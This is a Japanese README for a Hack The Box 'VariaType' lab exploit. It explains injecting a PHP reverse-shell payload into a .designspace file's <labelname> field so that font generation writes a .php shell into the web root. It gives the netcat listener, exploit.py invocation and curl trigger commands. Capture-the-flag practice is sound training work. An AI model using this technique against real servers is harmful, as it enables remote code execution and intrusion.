
このリポジトリには、Hack The Box の VariaType マシン向けの特化型エクスプロイトが含まれています。このエクスプロイトは、fontTools ライブラリまたは Web アプリケーションが .designspace XML ファイルとメタデータの補間を処理する方法における脆弱性を悪用して、リモートコード実行 (RCE) を達成します。
脆弱性はフォント生成プロセスに存在します。悪意のある designspace ファイルを細工することで、PHP リバースシェルのペイロードをフォントのメタデータ(具体的には <labelname> フィールド)に注入できます。サーバーがこれらのファイルを処理して可変フォントを生成すると、出力がユーザー定義のパスに書き込まれるため、Web ルートに .php シェルを配置できます。
fontTools を使用して、有効な source-light.ttf および source-regular.ttf マスターフォントを作成します。designspace ファイルを生成します。.php ファイルとして公開ディレクトリに保存しようとします。Python 3 と以下のライブラリがインストールされている必要があります:
pip install fontTools requests
ローカルマシン(または Pwnbox)で Netcat リスナーを起動します:
nc -lvnp 4444
HTB VPN IP とリスナーポートを指定してスクリプトを実行します:
python3 exploit.py --ip <YOUR_IP> --port 4444
アップロードが 200 OK を返した場合(エラー前に処理が行われると 500 を返すこともあります)、スクリプトがファイル名を表示します。curl またはブラウザでアクセスしてください:
curl http://portal.variatype.htb/shell_xxxxxx.php
このスクリプトは、教育目的および許可されたペネトレーションテスト専用です。事前の許可なしにターゲットへアクセスまたは攻撃することは違法です。
README.md としてスクリプトと同じフォルダに保存します。exploit.py であることを確認するか、上記のコマンド内のファイル名を更新します。| 引数 | 説明 | デフォルト |
|---|
--ip | リスナー IP (VPN) | 必須 |
--port | リスナーポート | 必須 |
--path | シェルのターゲットパス | /var/www/portal.variatype.htb/public |
--url | アップロードエンドポイント | http://variatype.htb/tools/.../process |